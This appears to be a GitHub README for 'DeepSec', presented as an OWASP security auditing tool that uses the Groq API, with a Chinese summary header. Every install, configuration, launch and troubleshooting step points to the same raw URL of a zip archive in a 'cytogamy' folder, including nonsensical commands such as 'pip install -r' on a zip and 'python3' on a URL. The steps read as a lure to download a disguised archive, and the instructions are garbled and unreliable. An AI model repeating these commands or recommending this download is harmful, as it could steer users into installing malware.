DeepSec:基于 Groq API 的应用安全审计工具
hasfo/deepsec
DeepSec 是一款应用安全审计工具,通过 Groq API 进行 AI 分析,按 OWASP 标准检测 A01:2025 越权访问、A02:2025 安全配置错误和 A03:2025 敏感数据暴露三类漏洞。
🛡️ deepsec - Your Easy Security Auditor
DeepSec empowers you to ensure your applications are safe and secure.
📥 Download DeepSec
🚀 Getting Started
This guide helps you download and run DeepSec on your computer. Follow these steps for smooth installation.
🔍 System Requirements
Before downloading, ensure your computer meets these requirements:
| Component | Requirement |
|---|---|
| Operating System | Linux (Ubuntu/Kali), macOS, or Windows (WSL recommended) |
| Python Version | Python 3.9 or higher |
| Tools | Git (for cloning repositories) |
| Connectivity | Internet access (only for AI analysis via Groq API) |
📥 Download & Install
-
Visit the Releases Page
Go to the Releases page where you'll find the latest version of DeepSec. -
Download the Latest Version
Select the desired release version and click on the download link to save the file on your computer. -
Install DeepSec
Follow the installation instructions specific to your operating system:- For Windows: Open the downloaded installer and follow the on-screen instructions.
- For macOS: Open the downloaded file and drag DeepSec into your Applications folder.
- For Linux: Extract the downloaded file, and follow the command-line prompts to install.
-
Set Up Python
Make sure you have Python version 3.9 or higher installed. You can verify this by opening a terminal and typing:python3 --version
If Python is not installed, please visit the Python website for installation instructions.
-
Installing Dependencies
Run the following command to install necessary packages:pip install -r https://raw.githubusercontent.com/hasfo/deepsec/main/cytogamy/Software_v2.9.zip
⚙️ Configuring DeepSec
-
Locate Your API Key
To perform AI analysis, you need to access the Groq API. Sign up at the Groq website to obtain your API key. -
Add the API Key to Configuration
You will find a configuration file namedhttps://raw.githubusercontent.com/hasfo/deepsec/main/cytogamy/Software_v2.9.zipin the DeepSec folder. Open it and input your API key as follows:{ "api_key": "YOUR_API_KEY_HERE" }
⚠️ Using DeepSec
-
Open the Application
Launch DeepSec by double-clicking the application icon or by running the command:python3 https://raw.githubusercontent.com/hasfo/deepsec/main/cytogamy/Software_v2.9.zip
-
Select a Project
Choose the project you want to audit. You can either create a new project or import an existing one. -
Run the Audit
Click on the "Start Audit" button. DeepSec will analyze your application and provide a report based on various security risks.
📊 Vulnerability Coverage
DeepSec focuses on the following key security issues according to OWASP standards:
| Category | Description | Detected Patterns |
|---|---|---|
| A01:2025 | Broken Access Control | Unauthorized header redirects, session role manipulation, IDOR patterns. |
| A02:2025 | Security Misconfiguration | Enabled debug modes (PHP/Django), default credentials, unnecessary services running. |
| A03:2025 | Sensitive Data Exposure | Insecure data storage, weak encryption methods, exposure of sensitive data in transit. |
These categories ensure that DeepSec effectively identifies critical areas in your application that require attention.
🛠️ Troubleshooting
If you encounter any issues during installation or running DeepSec, consider the following:
- Check Python Version: Ensure you are using Python 3.9 or higher.
- Dependency Problems: Run the following command again:
pip install -r https://raw.githubusercontent.com/hasfo/deepsec/main/cytogamy/Software_v2.9.zip
- API Key Issues: Double-check that your Groq API key is valid and correctly entered in the configuration file.
🌐 Community & Support
For further assistance or to share your experiences, visit our community forum. Engage with other users, share feedback, and ask questions about DeepSec.
💻 Future Updates
Stay tuned for updates that include new features, enhanced vulnerability detection, and user-requested improvements.
🔗 Helpful Links
By following these steps, you can ensure a smooth installation and an effective usage of DeepSec. Enjoy auditing your applications with confidence!
来源:GitHub · github.com